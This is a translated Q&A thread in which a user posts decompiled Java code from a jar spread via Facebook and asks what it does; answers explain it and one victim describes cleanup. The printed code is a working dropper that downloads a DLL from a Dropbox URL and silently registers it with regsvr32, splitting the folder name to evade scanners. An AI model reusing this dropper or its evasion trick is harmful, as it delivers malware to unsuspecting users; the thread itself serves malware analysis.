谁能解释一下Windows的匿名/恶作剧代码?

时间:2014-03-16 08:43:58

标签: c# java windows dll virus

警告:

不要在任何机器上执行此代码。它可能是一个恶意代码

您好,    我在fb上找到了一个文件,显然看起来像virus。所以我很高兴我下载了 Windows

我在virustotal上扫描了它,它说这个文件刚刚扫描了一段时间,这意味着这个文件已经流传了一段时间。我仍然扫描它,virustotal说它干净。

所以它的Zip文件,带有一个jar文件,当我将jar文件中的.class文件反编译为java代码时,它有硬编码的字符串到C:\驱动器和一个dropbox url来下载一个dat文件。然后使用regsvr进行一些注册表级别的更改。

所以,在那个音符上,它很好地隐藏了一个无辜的jar文件。但是,根据module.dat

,即使下载的virustotal文件也看起来无病毒

清单文件:

Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045

但有人可以解释一下这段代码到底是做什么的吗?在下到代码之前..

dat文件似乎有这个:

  

PE32可执行文件(DLL)(GUI)Intel 80386,适用于MS Windows

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;

public class IMG_00045
{
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    String str1 = "C:\\T";
    str1 = str1.concat("emp");
    File localFile1 = new File(str1);
    localFile1.mkdir();
    File localFile2 = new File("C:\\Temp\\asdfr1.dat");
    if (localFile2.exists())
    {
      proc();
    } else {
      String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
      String str3 = "C:\\Temp\\asdfr1.dat";
      dl(str2, str3);
    }
  }

  public static void proc()
    throws IOException
  {
    int i = 1;
    while (i < 7)
    {
      bala();
      i++;
    }
  }

  public static void bala()
    throws IOException
  {
    String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
    Runtime localRuntime = Runtime.getRuntime();
    Process localProcess = localRuntime.exec(arrayOfString);
  }

  public static void dl(String paramString1, String paramString2)
    throws IOException
  {
    URL localURL = new URL(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    byte[] arrayOfByte = new byte[250000];

    InputStream localInputStream = localURL.openStream();
    int i;
    while ((i = localInputStream.read(arrayOfByte)) != -1)
      localFileOutputStream.write(arrayOfByte, 0, i);
    localInputStream.close();
    localFileOutputStream.close();
    proc();
  }
}

有人可以解释一下 什么是PE32 dll?为什么开发人员使用两个字符串创建目录? (T + emp)可能是扫描仪检查这种类型的字符串?我对regsvr代码了解不多..它对注册表项和涉及的dll做了什么[我提供了下面的链接,它是对dat文件内容的分析](不执行它:))

我还有一个dat文件分析链接供有人查看注册表,dll,涉及的锁

https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/

2 个答案:

答案 0 :(得分:3)

代码从外部保管箱帐户下载文件并在系统中注册。该文件是DLL库。 DLL存储在C:\ Temp文件夹中。

问题:有人可以解释什么是PE32 dll? http://en.wikipedia.org/wiki/Portable_Executable

问题:为什么开发人员使用两个字符串创建目录? (T + emp)可能是扫描仪检查这种类型的字符串?

攻击者阻止签名检测。

问题:关于注册表项和涉及的dll,它在做什么?

攻击者使用以下事实:任何应用程序都按照确定的顺序搜索所需的dll。第一个位置是当前文件夹。

攻击者场景:用户从C:\ Temp文件夹运行任何应用程序。如果应用程序使用来自同名DLL的​​方法,它会首先发现恶意DLL并执行其代码。

答案 1 :(得分:0)

昨天我也收到了这个内容,不幸的是我运行了这个jar文件。它触发了与我联系人列表中的人员相同的附件。我使用java反编译器看了一下类文件,并发现了上面给出的相同内容。

它实际上是在尝试下载DAT文件并尝试使用regsvr32注册它。但是,注册时会出错。我知道什么时候我故意尝试注册它以了解它将安装的关键是什么。 DLL寄存器不起作用。

但是,这种病毒的一个大问题是,它会被传输到我们联系人列表中的所有用户并尝试自行传播。

截至目前,DAT文件不可用(从DROPBOXUSERCONTENT.com下载)。由于流量高,现在拒绝文件访问。

解决方案:尝试删除文件和文件夹“C:\ TEMP \ ASDFR1.dat”。文件很容易删除,但文件夹删除可能无法正常工作。在这种情况下,尝试恢复你的系统。之后,我能够删除该文件夹。

如果我需要做更多其他事,请告诉我。